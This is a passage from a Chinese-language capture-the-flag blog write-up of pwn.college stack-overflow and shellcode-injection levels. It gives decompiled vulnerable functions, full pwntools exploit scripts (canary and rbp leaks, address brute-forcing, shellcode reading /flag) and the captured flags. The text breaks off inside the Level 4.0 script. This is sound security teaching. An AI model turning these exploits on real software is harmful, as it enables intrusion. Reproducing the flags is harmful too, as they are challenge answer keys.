Per aspera ad astra

熵餘記事

Write-ups: Program Security (Program Exploitation) series (Completed)

更新于 # Pwn # Write-ups

Table of contents

Open Table of contents

前言

之前说啥来着?想嗨几天?害,我看我是停不下来了 ^-^ 听着,陌生人,你还年轻,千万别学我,天天厮混在这该死的二进制的海洋里面。带上朋友们一起加入吧 bushi

嗯,这章是之前 Memory ErrorsShellcode Injection 的组合,需要我们充分利用之前所学的一切知识来组织攻击链。

感觉应该挺简单。我,CuB3y0nd,请求出征!

Level 1.0

Information

Description

Write a full exploit involving shellcode and a method of tricking the challenge into executing it.

Write-up

37 collapsed lines
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-60h] BYREF
int v7; // [rsp+1Ch] [rbp-44h]
size_t nbytes; // [rsp+28h] [rbp-38h] BYREF
_QWORD v9[3]; // [rsp+30h] [rbp-30h] BYREF
char v10; // [rsp+48h] [rbp-18h]
int v11; // [rsp+54h] [rbp-Ch]
void *buf; // [rsp+58h] [rbp-8h]
__int64 savedregs; // [rsp+60h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+68h] [rbp+8h] BYREF
v7 = a1;
v6[2] = a2;
v6[1] = a3;
memset(v9, 0, sizeof(v9));
v10 = 0;
buf = v9;
nbytes = 0LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)v6;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 25);
puts("large input length, and thus overflow the buffer.\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");
shellcode = mmap((void *)0x2247D000, 0x1000uLL, 7, 34, 0, 0LL);
if ( shellcode != (void *)575131648 )
__assert_fail("shellcode == (void *)0x2247d000", "/challenge/toddlerone-level-1-0.c", 0x95u, "challenge");
printf("Mapped 0x1000 bytes for shellcode at %p!\n", (const void *)0x2247D000);
puts("Reading 0x1000 bytes of shellcode from stdin.\n");
shellcode_size = read(0, shellcode, 0x1000uLL);
if ( !shellcode_size )
__assert_fail("shellcode_size > 0", "/challenge/toddlerone-level-1-0.c", 0x99u, "challenge");
puts("This challenge has loaded the following shellcode:\n");
print_disassembly(shellcode, shellcode_size);
puts(&byte_374C);
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 25);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v11 = read(0, buf, nbytes);
if ( v11 < 0 )
{
v3 = __errno_location();
16 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v11);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
putchar(10);
puts("Goodbye!");
return 0LL;
}

所以,我一眼就看出了你的所有漏洞,并用不到 10 秒想出了一套完整的针对你的攻击链。你,不愧是一道纯正的开胃菜。

~握草了好下笔啊啊啊啊。~下面讲正经的,shellcode 方面没遇到什么限制,程序在 0x2247D000 专门为我们的 shellcode 分配了 0x1000 字节的 rwx 空间,我们随心日它就完了。随后,有一个任意大小读,用它溢出 buf 并覆盖返回地址为 0x2247D000 即可。easy peasy!

Exploit

#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellcraft
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-1-0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
padding_to_ret = b"".ljust(0x38, b"A")
ret_addr = p64(0x2247D000)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(stage):
stage_1 = shellcraft.cat("/flag")
stage_2 = padding_to_ret + ret_addr
if stage == 1:
return asm(stage_1)
elif stage == 2:
return stage_2
else:
log.failure("Unknown stage number.")
def attack(target, payload):
try:
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
return b"pwn.college{" in response
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(1)
send_payload(target, payload)
payload = construct_payload(2)
if attack(target, payload):
log.success("Success! Exiting...")
pause()
exit()
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{YRuLYIKU6u9uASqOycoKQO17Ttn.0VOxMDL5cTNxgzW}

Level 1.1

Information

Description

Write a full exploit involving shellcode and a method of tricking the challenge into executing it.

Write-up

以后像这种子 level,如非必要,我都不会再贴 wp 了,因为和 main level 没太大区别,无非就是删除了多余的提示信息,strip 了符号表和调试信息。

Exploit

#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellcraft
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-1-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
padding_to_ret = b"".ljust(0x78, b"A")
ret_addr = p64(0x22A60000)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(stage):
stage_1 = shellcraft.cat("/flag")
stage_2 = padding_to_ret + ret_addr
if stage == 1:
return asm(stage_1)
elif stage == 2:
return stage_2
else:
log.failure("Unknown stage number.")
def attack(target, payload):
try:
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
response = target.recvall(timeout=5)
return b"pwn.college{" in response
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(1)
send_payload(target, payload)
payload = construct_payload(2)
if attack(target, payload):
log.success("Success! Exiting...")
pause()
exit()
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{8kWI1BeY-FwKn2lIHdlSEEYHZ_G.0FMyMDL5cTNxgzW}

Level 2.0

Information

Description

Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it. Note, ASLR is disabled!

Write-up

4 collapsed lines
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-50h] BYREF
int v7; // [rsp+1Ch] [rbp-34h]
size_t nbytes; // [rsp+28h] [rbp-28h] BYREF
_QWORD v9[2]; // [rsp+30h] [rbp-20h] BYREF
int v10; // [rsp+44h] [rbp-Ch]
void *buf; // [rsp+48h] [rbp-8h]
__int64 savedregs; // [rsp+50h] [rbp+0h] BYREF
4 collapsed lines
_UNKNOWN *retaddr; // [rsp+58h] [rbp+8h] BYREF
v7 = a1;
v6[2] = a2;
v6[1] = a3;
v9[0] = 0LL;
v9[1] = 0LL;
buf = v9;
nbytes = 0LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)v6;
26 collapsed lines
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 16);
puts("large input length, and thus overflow the buffer.\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");
puts("- the binary will disable aslr. This means that everything in memory will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.");
puts("Furthermore, you know the absolute address of everything on the stack.\n");
puts("- the stack is executable. This means that if the stack contains shellcode");
puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 16);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v10 = read(0, buf, nbytes);
if ( v10 < 0 )
{
v3 = __errno_location();
16 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v10);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
putchar(10);
puts("Goodbye!");
return 0LL;
}

很明显的栈溢出,没开 ASLR,而栈又有 rwx 权限。那我们把 shellcode 注入到 buf 头,再覆盖返回地址为 buf 头的地址就好了。

Exploit

#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-2-0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
ret_addr = p64(0x00007FFFFFFFD330)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(padding_size):
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_size - shellcode_length, b"A")
shellcode += ret_addr
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
target.recvall(timeout=5)
with open("./f", "r") as file:
content = file.read()
log.success(content)
except FileNotFoundError:
log.error("The file './f' does not exist.")
except PermissionError:
log.error("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(0x28)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{8534tOGLdefUghR4lz5RbC5wYk5.0VMyMDL5cTNxgzW}

Level 2.1

Information

Description

Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it. Note, ASLR is disabled!

Write-up

这题没回显,所以问题就是返回地址是什么了。因为没开 ASLR,每次栈的基地址都是相同的,所以这里我直接采用爆破的方式了。

Exploit

#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, time
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-2-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
ret_addr = 0x7FFFFFFDE000
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def construct_payload(padding_size):
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_size - shellcode_length, b"A")
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
target.recvall(timeout=5)
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
global ret_addr
start_time = time.time()
while True:
try:
target = launch()
payload = construct_payload(0x48)
if attack(target, payload):
break
ret_addr += 0x8
except Exception as e:
log.exception(f"An error occurred in main: {e}")
end_time = time.time()
elapsed_time = end_time - start_time
log.success(f"Total elapsed time: {elapsed_time:.2f} seconds.")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{IF2KSArBx1ONOOxBvejSZ5gUqc0.0lMyMDL5cTNxgzW}

Level 3.0

Information

Description

Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it by utilizing clever payload construction.

Write-up

48 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
__int64 v6; // [rsp+0h] [rbp-B0h] BYREF
__int64 v7; // [rsp+8h] [rbp-A8h]
__int64 v8; // [rsp+10h] [rbp-A0h]
unsigned int v9; // [rsp+1Ch] [rbp-94h]
int v10; // [rsp+2Ch] [rbp-84h]
size_t nbytes; // [rsp+30h] [rbp-80h] BYREF
void *buf; // [rsp+38h] [rbp-78h]
_QWORD v13[11]; // [rsp+40h] [rbp-70h] BYREF
int v14; // [rsp+98h] [rbp-18h]
char v15; // [rsp+9Ch] [rbp-14h]
unsigned __int64 v16; // [rsp+A8h] [rbp-8h]
__int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF
v9 = a1;
v8 = a2;
v7 = a3;
v16 = __readfsqword(0x28u);
memset(v13, 0, sizeof(v13));
v14 = 0;
v15 = 0;
buf = v13;
nbytes = 0LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)&v6;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 93);
puts("large input length, and thus overflow the buffer.\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the stack is executable. This means that if the stack contains shellcode");
puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 93);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v10 = read(0, buf, nbytes);
if ( v10 < 0 )
{
v3 = __errno_location();
15 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v10);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
putchar(10);
printf("You said: %s\n", (const char *)buf);
puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()");
puts("call to see the hidden backdoor!");
if ( strstr((const char *)buf, "REPEAT") )
{
puts("Backdoor triggered! Repeating challenge()");
return challenge(v9, v8, v7);
}
else
{
puts("Goodbye!");
return 0LL;
}
}

具体怎么打这题的话,我觉得光靠之前的 Memory Errors 和 Shellcode Injection 这两章学到的知识应该还不够打通这题。主要问题出在如何返回到我们的 shellcode。这题本身是有 ASLR 的,每次栈地址都不一样。程序唯一的一个 RWX 段又是我们的栈段,所以……我们的 shellcode 只能放在栈上,那么怎么知道栈的地址呢?泄漏应该是泄漏不出来的,没有格式化字符串漏洞。Nop Sled 感觉也不太行?我没试过,但是脑子里面简单过了一遍感觉不太可能吧。唯有构造 ROP Chain 我觉得是可以的,不过如果真构建 ROP Chain 了那我还要什么 shellcode 啊哈哈哈。所以有很大可能就是这题想考的技巧我没想到(也不排除就是需要用 ROP Chain 也说不准) ,反正这里就先只贴个反编译结果了,要是哪位师傅有想法的话欢迎在底下评论。我先去打 ROP 了,打完之后再回头继续打这章~

反正别告诉我你要通过程序的回显来打……应该没这样的人吧……你要真通过回显打通了,那 3.1 你怎么办是吧哈哈哈。总之看回显很没意思,丧失了本来的意义。

过了十分钟……

好的知道了,果然是我没想到……其实 rbp 也可以被泄漏出来不是吗,用它减去输入起始地址,我们发现偏移是一样的,那构造 shellcode 的时候我们就用泄漏出来的 rbp 减去得到的偏移地址,这就是返回地址了。然后,boom!

boom 个鸟,忘记触发后门后再次调用 challenge 会创建新的栈帧了。不过这两个栈帧一定是紧挨着的,所以我们的思路还是这样,这没问题。只不过计算的时候注意是用第一个栈帧的 rbp 减去第二个栈帧的输入起始地址罢了。(我就说我这么完美的 payload 怎么可能会打不通,果然是忘了什么……Alr, boom!)

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-3-0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x68
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = 0x1170
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target, padding_size):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_size - shellcode_length, b"A")
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
target.recvall(timeout=5)
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target, padding_size)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{IDpfJ24swVO_Q0TAY9ajONzKHTe.01MyMDL5cTNxgzW}

Level 3.1

Information

Description

Write a full exploit involving injecting shellcode and a method of tricking the challenge into executing it by utilizing clever payload construction.

Write-up

参见 Level 3.0

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-3-1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x58
backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor
trigger_length = str(len(backdoor_trigger))
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = 0x1150
def to_hex_bytes(data):
return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def send_payload(target, payload):
try:
target.send(payload)
except Exception as e:
log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target):
try:
target.sendlineafter(b"Payload size: ", trigger_length)
send_payload(target, backdoor_trigger)
target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7)
rbp = target.recv(0x6)
log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp]
except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target, padding_size):
canary, rbp = leak_data(target)
rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4))
shellcode_length = len(shellcode)
shellcode += b"".ljust(padding_size - shellcode_length, b"A")
shellcode += canary
shellcode += padding_to_ret
shellcode += p64(ret_addr)
return shellcode
def attack(target, payload):
try:
os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode()
target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload")
send_payload(target, payload)
target.recvall(timeout=5)
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch()
payload = construct_payload(target, padding_size)
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{w1Gz9LGRK9kmwUD7TZnA3xcKN5j.0FNyMDL5cTNxgzW}

Level 4.0

Information

Description

Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.

Write-up

46 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
int *v3; // rax
char *v4; // rax
__int64 v6; // [rsp+0h] [rbp-A0h] BYREF
__int64 v7; // [rsp+8h] [rbp-98h]
__int64 v8; // [rsp+10h] [rbp-90h]
unsigned int v9; // [rsp+1Ch] [rbp-84h]
int v10; // [rsp+2Ch] [rbp-74h]
size_t nbytes; // [rsp+30h] [rbp-70h] BYREF
void *buf; // [rsp+38h] [rbp-68h]
_QWORD v13[9]; // [rsp+40h] [rbp-60h] BYREF
__int64 v14; // [rsp+88h] [rbp-18h]
unsigned __int64 v15; // [rsp+98h] [rbp-8h]
__int64 savedregs; // [rsp+A0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+A8h] [rbp+8h] BYREF
v9 = a1;
v8 = a2;
v7 = a3;
v15 = __readfsqword(0x28u);
memset(v13, 0, sizeof(v13));
v14 = 0LL;
buf = v13;
nbytes = 0LL;
puts("The challenge() function has just been launched!");
sp_ = (__int64)&v6;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2;
rp_ = (__int64)&retaddr;
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
puts("including the saved base pointer and the saved return address, for a");
printf("total of %d bytes.\n", 8 * sz_);
printf("The input buffer begins at %p, partway through the stack frame,\n", buf);
puts("(\"above\" it in the stack are other local variables used by the function).");
puts("Your input will be read into this buffer.");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 70);
puts("large input length, and thus overflow the buffer.\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the stack is executable. This means that if the stack contains shellcode");
puts("and you overwrite the return address with the address of that shellcode, it will execute.\n");
cp_ = bp_;
cv_ = __readfsqword(0x28u);
while ( *(_QWORD *)cp_ != cv_ )
cp_ -= 8LL;
printf("Payload size: ");
__isoc99_scanf("%lu", &nbytes);
printf("You have chosen to send %lu bytes of input!\n", nbytes);
printf("This will allow you to write from %p (the start of the input buffer)\n", buf);
printf(
1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n",
(char *)buf + nbytes,
nbytes - 70);
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v10 = read(0, buf, nbytes);
if ( v10 < 0 )
{
v3 = __errno_location();
12 collapsed lines
v4 = strerror(*v3);
printf("ERROR: Failed to read input -- %s!\n", v4);
exit(1);
}
printf("You sent %d bytes!\n", v10);
puts("Let's see what happened with the stack:\n");
DUMP_STACK(sp_, sz_);
puts("The program's memory status:");
printf("- the input buffer starts at %p\n", buf);
printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_);
printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_);
printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_);
printf("- the canary is stored at %p.\n", (const void *)cp_);
printf("- the canary value is now %p.\n", *(const void **)cp_);
putchar(10);
printf("You said: %s\n", (const char *)buf);
puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()");
puts("call to see the hidden backdoor!");
if ( strstr((const char *)buf, "REPEAT") )
{
puts("Backdoor triggered! Repeating challenge()");
return challenge(v9, v8, v7);
}
else
{
6 collapsed lines
puts("Goodbye!");
puts("This challenge will, by default, exit() instead of returning from the");
puts("challenge function. When a process exit()s, it ceases to exist immediately,");
puts("and no amount of overwritten return addresses will let you hijack its control");
puts("flow. You will have to reverse engineer the program to understand how to avoid");
puts("making this challenge exit(), and allow it to return normally.");
if ( v14 != 0x49954B5EFDCB2A29LL )
{
puts("exit() condition triggered. Exiting!");
exit(42);
}
puts("exit() condition avoided! Continuing execution.");
return 0LL;
}
}

很简单吧,令 v14 == 0x49954B5EFDCB2A29 才可以返回到我们的 shellcode。

Exploit

#!/usr/bin/python3
from pwn import (
ELF,
asm,
context,
gdb,
log,
os,
p64,
process,
remote,
shellcraft,
)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-4-0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
backdoor = b"REPEAT "
padding_size = 0x58
